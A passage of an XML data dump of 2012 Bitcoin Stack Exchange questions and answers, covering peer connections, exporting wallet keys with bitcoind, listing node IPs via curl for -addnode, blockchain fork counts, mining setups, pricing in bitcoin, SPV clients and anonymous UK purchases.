  <row Id="4628" PostTypeId="2" ParentId="4627" CreationDate="2012-09-04T18:39:58.660" Score="2" Body="&lt;p&gt;No, it doesn't. At least not from what can be seen in the &quot;Export Unencrypted&quot; option and I doubt that it would be any different using the encrypted option.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-09-04T18:39:58.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4630" PostTypeId="1" AcceptedAnswerId="4635" CreationDate="2012-09-04T19:26:02.530" Score="5" ViewCount="950" Body="&lt;p&gt;If I'm connected to 500 peers, will I know about transactions faster than if I'm only connected to 8 peers?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-09-05T11:10:43.587" Title="Does being connected to more peers relay transactions faster?" Tags="|bitcoind|network|peers|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4631" PostTypeId="2" ParentId="4630" CreationDate="2012-09-04T20:59:36.503" Score="0" Body="&lt;p&gt;Not 100% sure how relevant this is, but BitTorrent (which, being peer-to-peer software, works in a similar way) apparently &lt;a href=&quot;https://superuser.com/questions/69780/why-is-bittorrent-slow-from-my-home-computer&quot;&gt;runs into trouble with performance&lt;/a&gt; when the connection limit is set too high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like BitTorrent, you'll probably find that there's an optimum number that your setup can handle, which would differ depending on your individual machine and network capability, and any other load running through the same system. The best way to figure it out is probably experimentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wrote some custom code that looked at the sources of transactions, you'd probably find that some nodes send you a lot more new transactions than other nodes, and more quickly. Perhaps it's possible to drop connections to nodes that aren't performing well in sending you transactions quickly, though some might consider this would be going against the community philosophy that Bitcoin is founded on. I'd argue it's probably still appropriate for serious miners to do it, as there are plenty of other non-mining nodes to ensure the network is well connected.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:34.833" LastActivityDate="2012-09-04T21:05:00.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4632" PostTypeId="1" AcceptedAnswerId="4633" CreationDate="2012-09-04T21:10:02.320" Score="7" ViewCount="9933" Body="&lt;p&gt;I know that PyWallet has a -dumpwallet but without using pywallet, how can I export all the addresses and privatekeys with the stock bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an API command that lists all addresses held by the wallet?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2012-09-04T22:05:00.150" LastActivityDate="2020-05-24T19:40:23.837" Title="How can I export all my private keys using bitcoind?" Tags="|client|wallet|bitcoind|private-key|private-key-export|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4633" PostTypeId="2" ParentId="4632" CreationDate="2012-09-05T00:17:57.190" Score="4" Body="&lt;p&gt;You could send the dumpprivkey JSON-RPC call to the client.  It takes a single parameter of BitcoinAddress to reveal the private key for that specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export all private keys for all addresses, you would have to call listreceivedbyaddress to list the addresses and then call dumpprivkey for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2012-09-05T00:17:57.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4634" PostTypeId="2" ParentId="4630" CreationDate="2012-09-05T05:11:15.330" Score="2" Body="&lt;p&gt;No, very little of the time for downloading new blocks is actually related to network transmission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the work being done is the I/O against your hard drive as the program writes data to the BDB database storage.  If you are on an encrypted filesystem, the problem is exacerbated.  There is some CPU work as the elliptic curve encryption is used when verifying the signature for each transaction so a faster CPU will help as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people use SSD disk storage and report quite respectable download times &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some improvements are coming in v0.7 of the Bitcoin.org client but the real signficant performance improvement will come from the use of LevelDB and &quot;ultraprune&quot;, both of which are expected in v0.8.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="33" LastEditDate="2012-09-05T11:10:43.587" LastActivityDate="2012-09-05T11:10:43.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4635" PostTypeId="2" ParentId="4630" CreationDate="2012-09-05T09:48:07.743" Score="1" Body="&lt;p&gt;As Bitcoin broadcasts its knowledge of new transactions only to a few nodes at a time, statistically speaking, being connected to more nodes will make it more probable you will get information on new transactions. I'm not sure how this would perform in practice, however. Forcing so many connections would probably be a drain on your system and outweigh the benefits.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-05T09:48:07.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4636" PostTypeId="2" ParentId="4555" CreationDate="2012-09-05T11:24:53.447" Score="6" Body="&lt;p&gt;As mentioned in Daniel's comment, if you are trying to connect to the Bitcoin-client that gathers the information for the Blockchain.info site this is not trivial as the IP does not match the one of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are just interested in adding the same nodes the site is connected to, that's no problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Linux or OS X you'd do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://blockchain.info/connected-nodes | \&#xA;grep -oE '([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)' | \&#xA;sort -u&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives you a sorted list of IPs to connect to. If you want a complete string to just append to your bitcoind client as options then try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://blockchain.info/connected-nodes | \&#xA;grep -oE '([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)' | \&#xA;sort -u | \&#xA;sed 's/.*/-addnode=&amp;amp;/g' | \&#xA;tr '\n' ' '&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this additionally adds the &lt;code&gt;-addnode=&lt;/code&gt; prefix to each address and joins the line.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="21115" LastEditDate="2015-01-12T14:52:11.577" LastActivityDate="2015-01-12T14:52:11.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4638" PostTypeId="2" ParentId="3343" CreationDate="2012-09-05T13:21:32.130" Score="25" Body="&lt;p&gt;Short answer: 4 [Prior to the &lt;a href=&quot;http://bitcoin.org/chainfork.html&quot; rel=&quot;noreferrer&quot;&gt;March 12, 2013&lt;/a&gt; fork]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Value Overflow incident seems to be the longest ever blockchain split. The problem with blockchain forks is that once they are resolved the only trace they leave is a log entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reconstruct the following I used the printblocktree output that theymos gave me in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4135/getting-orphaned-blocks-from-the-blockchain&quot;&gt;this question&lt;/a&gt; and the information from &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot; rel=&quot;noreferrer&quot;&gt;Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see from the &lt;a href=&quot;https://gist.github.com/3635514&quot; rel=&quot;noreferrer&quot;&gt;printblocktree&lt;/a&gt; there have been 90 blockchain forks observed by theymos in the blockchainrange [90392-189512].&#xA;This dataset has the following forks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1x block length 4 (starting from block 174161)&lt;/li&gt;&#xA;&lt;li&gt;1x block length 3 (starting from block 174120)&lt;/li&gt;&#xA;&lt;li&gt;4x block length 2 (starting from blocks 93669, 174233, 179217 and 179639)&lt;/li&gt;&#xA;&lt;li&gt;87x block length 1 (starting from blocks 90392, 90676, 90858, 91405, 92094, 93047, 93088, 93619, 93642, 93669, 93670, 93671, 93855, 94671, 98529, 99365, 100740, 101902, 102674, 105401, 109912, 117103, 118553, 120406, 123583, 128501, 130077, 130200, 155180, 157929, 161673, 162257, 163959, 165439, 165519, 166890, 167283, 167620, 167742, 167863, 168920, 169517, 171064, 173494, 174102, 174104, 174121, 174174, 174182, 174185, 174187, 174232, 174242, 174291, 174307, 174313, 174330, 174343, 174414, 174452, 174531, 174593, 174605, 175998, 176210, 176478, 177854, 178119, 178293, 179791, 179890, 180143, 181230, 181591, 181618, 182210, 182321, 183193, 183405, 183500, 183519, 184932, 186561, 187866, 188347, 188682 and 189512)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info does have quite a few more orphans in their database, apparently because they connect to a lot more nodes, but their history does not go back as far as theymos' printblocktree.&#xA;The first blockchain fork that bitcoin.info observed was based on block 142257 since then we observed 540 forks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2x block length 4 (starting from blocks 174161 and 173927)&lt;/li&gt;&#xA;&lt;li&gt;4x block length 3 (starting from blocks 174120, 174056, 174050 and 173956)&lt;/li&gt;&#xA;&lt;li&gt;14x block length 2 (starting from blocks 183873, 179639, 179217, 176924, 175847, 175226, 174233, 174093, 173988, 173985, 173691, 170059, 165518 and 155180)&lt;/li&gt;&#xA;&lt;li&gt;520x block length 1 (far too many to put them here...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is quite evident: while both see forks, theymos' set has a smaller view of the network and misses or misinterprets forks (the one starting from 155180 is marked as a length 1 fork in the first results and as a length 2 in the second). We cannot be sure that blockchain.info catches all of the forks but we can be pretty certain that there was no fork longer than 4, as the fork would survive longer and would be seen by more nodes.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-03-12T05:13:58.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4641" PostTypeId="1" AcceptedAnswerId="4646" CreationDate="2012-09-05T17:46:29.863" Score="6" ViewCount="462" Body="&lt;p&gt;I have recently been assigned to advise a student on a senior thesis in math.  She has taken linear algebra, introductory real analysis, basic cryptography, and abstract algebra.  Her interest is in cryptography.  And she has a love of Bitcoin.  The point of a senior thesis is to get a student to teach themselves a subject and learn to find and read mathematical papers.  Original work that could be published would be nice, but is often untenable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether anyone knows of any research that is/has being/been done in cryptography related to Bitcoin.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="516" LastEditDate="2012-09-05T21:03:16.990" LastActivityDate="2012-09-06T02:18:34.797" Title="Bitcoin Research" Tags="|cryptography|academic-research|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4642" PostTypeId="1" AcceptedAnswerId="4643" CreationDate="2012-09-05T20:00:16.113" Score="3" ViewCount="9309" Body="&lt;p&gt;Is it faster to have 2 separate computers with the same graphics card but different specs, or one computer with 2 GPUs in crossfire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By math, they should perform the same im guessing at the same clock speeds&lt;/p&gt;&#xA;" OwnerUserId="1849" LastEditorUserId="5406" LastEditDate="2016-03-16T10:21:57.933" LastActivityDate="2016-03-16T10:21:57.933" Title="Is mining faster with 2 GPUs in crossfire or with 2 PCs with one GPU each?" Tags="|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4643" PostTypeId="2" ParentId="4642" CreationDate="2012-09-05T20:43:33.977" Score="5" Body="&lt;p&gt;They do indeed perform exactly the same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crossfire is not encouraged as it gives no advantage and may impact your overall performance. The computation is done in parallel on each card so there is no need for them to communicate among each other.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2012-09-05T20:43:33.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4644" PostTypeId="2" ParentId="4622" CreationDate="2012-09-05T21:59:08.370" Score="1" Body="&lt;p&gt;You could always check them on Blockchain.info&lt;/p&gt;&#xA;" OwnerUserId="1840" LastActivityDate="2012-09-05T21:59:08.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4645" PostTypeId="1" CreationDate="2012-09-06T00:20:48.467" Score="8" ViewCount="1321" Body="&lt;p&gt;The price of bitcoins fluctuates rapidly against other currencies. If I were to go to a restaurant and pay for a meal in bitcoins the price at the start of the meal would almost certainly be different by the end of the meal. In fact I have heard of this behavior happening in countries undergoing hyperinflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should I charge a client for a service when price of bitcoins change?  How should you pay employees an hourly rate in bitcoins when the price changes for each hour? &lt;/p&gt;&#xA;" OwnerUserId="1446" LastEditorUserId="105" LastEditDate="2012-09-06T21:07:53.917" LastActivityDate="2013-04-10T13:25:37.397" Title="How much should I charge a client if they pay me in bitcoins?" Tags="|services|exchange-rate|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4646" PostTypeId="2" ParentId="4641" CreationDate="2012-09-06T02:18:34.797" Score="5" Body="&lt;p&gt;Here's the Research article on the Bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Research&quot;&gt;http://en.bitcoin.it/wiki/Research&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might find some of the authors in the list have related research that is not directly related to Bitcoin so is absent from that list.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-06T02:18:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4647" PostTypeId="2" ParentId="4645" CreationDate="2012-09-06T05:06:34.507" Score="7" Body="&lt;p&gt;For the scenario of a retail or ecommerce purchase, one approach is to have an expiration on the price quotes.  For example, when a merchant uses BitPay, the invoice is good for 15 minutes.  If the funds aren't received, then the payment is recalculated as-of the time it arrives and if it overpaid, the customer gets a refund and if it was underpaid the customer has to send more funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can pad the exchange rate to your favor a little so that while some transactions lose value because of a change in the exchange rate, others will be in your favor but when you net it (overall gains minus losses) it ends up about a wash or a small gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming up with the pad amount can be aided by using a calculation that looks at recent volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as contractors, you would want to contract that in advance.  So if both parties agree to a contract at a certain rate quoted in BTCs, then that is the agreed upon rate that is paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For salaries, you probably want to establish that in terms of fiat, and only after withholding for taxes and other deductions only them convert the net check amount into bitcoins at the prevailing rate at the time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A company that has BTC-denominated contracts may want to hedge against exchange rate risk by either acquiring sufficient coins in advance, or using derivatives (e.g., &lt;a href=&quot;http://en.bitcoin.it/wiki/MPEx#Options&quot;&gt;CALL options&lt;/a&gt; or &lt;a href=&quot;https://icbit.se/BUZ2&quot;&gt;futures contracts&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-06T05:16:21.527" LastActivityDate="2012-09-06T05:16:21.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4648" PostTypeId="2" ParentId="4645" CreationDate="2012-09-06T05:11:42.380" Score="3" Body="&lt;p&gt;In a perfect world, and if you consider Bitcoin a true currency, then the only price that matters is the amount you value your work in relation to what you can buy and do with the currency.  But of course, since you currently can't use Bitcoin to pay the necessities of business like rent, electric bill and phone bills, the problem you mention is real.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real advice I can give is to watch the market for points of stabilization and price your coins according to what you believe the real market value of a coin is going to be at the time you will need to convert them to pay your bills.  Also, you should carry enough cash reserves in a more liquid currency to cover you in times when coins are lower than expected.  In those months, use your cash reserves.  When coins are high, sell extra to replenish cash reserves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A safe bet right now IMO would be to value a coin at about $10. That seems to be a recent plateau that makes sense and with adequate cash reserves, you should be able to float the spikes and dips without a problem. Of course, keep your eye on the exchanges for movements and if there seems to be a longer plateau and your reserves are getting low, then you will probably have to revalue your work.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2012-09-06T05:11:42.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4649" PostTypeId="1" AcceptedAnswerId="4651" CreationDate="2012-09-07T21:13:32.317" Score="74" ViewCount="36620" Body="&lt;p&gt;I've seen SPV client mentioned in several places. &#xA;What exactly is a SPV client? How is it different from a standard client?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="3684" LastEditDate="2017-11-30T15:52:56.637" LastActivityDate="2019-01-06T21:00:01.170" Title="What is an SPV client?" Tags="|client|terminology|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4650" PostTypeId="1" AcceptedAnswerId="4661" CreationDate="2012-09-07T21:31:02.103" Score="4" ViewCount="1111" Body="&lt;p&gt;If blockchain pruning is implemented is there a theoretical upper limit on the blockchain file size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking is something like with &quot;pruned&quot; blockchain you only store the details of the unspent bitcoins, so even if every satoshi was sent to a unique address then the file to store this information would have a finite upper size limit. Is this correct? And ballpark what file would the file size be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a reasonable upper limit and with likely continuing reduction in storage costs (i.e. Kryder's law, similar to Moore's law but for storage) then the criticism about the size of the blockchain file may become irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2015-08-25T09:02:33.667" Title="Upper limit on the blockchain file size with pruning?" Tags="|blockchain|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4651" PostTypeId="2" ParentId="4649" CreationDate="2012-09-07T23:17:24.327" Score="46" Body="&lt;p&gt;Simplified Payment Verification:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Bitcoin implementation that does not verify everything, but instead&#xA;  relies on either connecting to a trusted node, or puts its faith in&#xA;  high difficulty as a proxy for proof of validity. BitCoinJ is an&#xA;  implementation of this mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitnovosti.com/2018/07/06/jonas-schnelli-current-and-future-state-of-wallets/&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitnovosti.com/2018/07/06/jonas-schnelli-current-and-future-state-of-wallets/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bisq-network/bisq/issues/1062&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bisq-network/bisq/issues/1062&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://multibit.org/&quot; rel=&quot;noreferrer&quot;&gt;MultiBit&lt;/a&gt;, &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt;, and &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;noreferrer&quot;&gt;Electrum&lt;/a&gt; are examples of SPV clients.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2019-01-06T21:00:01.170" LastActivityDate="2019-01-06T21:00:01.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4652" PostTypeId="1" CreationDate="2012-09-08T01:20:36.340" Score="4" ViewCount="2887" Body="&lt;p&gt;I have found a few ways to create signed transactions offline, one is at &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org&lt;/a&gt;, and another is at &lt;a href=&quot;https://www.strongcoin.com/blog/the_easiest_way_to_create_secure_offline_bitcoin_transactions&quot; rel=&quot;nofollow&quot;&gt;https://www.strongcoin.com/blog/the_easiest_way_to_create_secure_offline_bitcoin_transactions&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after i have created a transaction, is there a way check and see what data is included in it before submitting it to the network? i ask because when a transaction is created, all i see is a long hex string, and (tinfoil hat time) for all i know this could just be an encoded version of my private key that someone could be trying to steal. is there a service that allows you to decrypt/parse that raw string?&lt;/p&gt;&#xA;" OwnerUserId="1862" LastActivityDate="2014-07-28T21:58:47.633" Title="Is there a way to parse raw transactions offline?" Tags="|transactions|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4653" PostTypeId="2" ParentId="4652" CreationDate="2012-09-08T03:45:34.213" Score="2" Body="&lt;p&gt;Well, the tool that you are using to create the raw transaction is also the tool that has a viewer that will decode and show (as JSON) the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you had a raw transaction, simply paste it and it will dynamically decode and display the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-08T03:45:34.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4654" PostTypeId="1" CreationDate="2012-09-09T01:29:36.907" Score="3" ViewCount="4810" Body="&lt;p&gt;I've seen the following guide but it's no good as I can't use bitinstant from the UK. Can someone recommend an alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1.&#xA;Download and install TOR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2. &#xA;While using TOR create a Tormail account &#xA;You can confirm the address at &lt;a href=&quot;http://tormail.org/&quot; rel=&quot;nofollow&quot;&gt;http://tormail.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3. &#xA;While using TOR, visit &lt;a href=&quot;http://www.bitinstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitinstant.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4.&#xA;Choose the Cash deposit to Bitcoin to email option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5.&#xA;Follow the instructions on Bitinstant to make your cash deposit, and have your Bitcoins sent to your new Tormail account.&#xA;No ID is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 6.&#xA;Receive your Bitcoins via email.&lt;/p&gt;&#xA;" OwnerUserId="1865" LastEditorUserId="323" LastEditDate="2012-09-18T12:15:19.990" LastActivityDate="2016-07-21T15:33:48.280" Title="How do I pay for something anonymously from the UK using bitcoins?" Tags="|privacy|tor|bitinstant|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4655" PostTypeId="1" CreationDate="2012-09-09T02:01:55.667" Score="4" ViewCount="248" Body="&lt;p&gt;Have idea for wonderful service many would want to donate to see happen. Those who donate though know nothing of bitcoin. Google reveals much trouble with bitcoin&amp;lt;-&gt;paypal or bitcoin&amp;lt;-&gt;creditcard gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exists any credible and reliable service that does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoiners too small group to expect enough from them, bitcoin system too difficult for non-bitcoiners to donate. Non bitcoin donations undermine concept.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2012-11-10T19:55:29.057" Title="How to ask donors to send bitcoin if they are not bitcoin enthusiasts?" Tags="|transactions|donation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4656" PostTypeId="2" ParentId="4655" CreationDate="2012-09-09T04:15:52.320" Score="1" Body="&lt;p&gt;CoinBase says that they hope to offer a method to purchase bitcoins using credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, that's not happening or at least not without going through some method like VirWoX (buy SLLs there and trade those SLLs for BTCs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cash deposit methods.  Depositing cash at a bank or 7-11, Walmart, CVS is going to be the fastest and easiest way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt; (Deposit at major banks, 7-11, Walmart, CVS, Moneygram, etc., or in Brazil using Boleto or Banco Recomendito, or in Russia, using Qiwi or Cyberplat.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CAVirtEx.com&quot; rel=&quot;nofollow&quot;&gt;http://www.CAVirtEx.com&lt;/a&gt; (Deposit cash at several banks)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Spendbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.Spendbitcoins.com&lt;/a&gt; (Deposit cash at a bank in Australia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.MrBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.MrBitcoins.com&lt;/a&gt; (Deposit at a bank in U.S., India, Australia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BitcoinNordic.com&quot; rel=&quot;nofollow&quot;&gt;http://BitcoinNordic.com&lt;/a&gt; (Purchase CashU or UKash in dozens of countries)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.MtGox.com&quot; rel=&quot;nofollow&quot;&gt;http://www.MtGox.com&lt;/a&gt; (Deposit cash at any Barclay's in the UK)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also individual traders in 70 countries and hundreds of cities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.localbitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-09T04:15:52.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4657" PostTypeId="2" ParentId="4654" CreationDate="2012-09-09T04:20:16.073" Score="0" Body="&lt;p&gt;You can deposit cash into Mt. Gox's account with Barclays but you can't use Tor to set that up as Mt. Gox will insist on you providing identity to access your funds after your account first is accessed through Tor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Mtgox#UK_.28GBP.29&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Mtgox#UK_.28GBP.29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a site called London Bitcoin Exchange, though there is not much about them yet but perhaps you can trade in-person.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://londonbitcoinexchange.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://londonbitcoinexchange.wordpress.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can send cash (GBP) or check to Bitcoin Nordic, by mail, to purchase bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Bitcoin_Nordic&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Bitcoin_Nordic&lt;/a&gt;  (They accept other currencies, like EUR, as well.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might find a local trader (or place an buy order and see if anyone is selling):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are a number of methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; 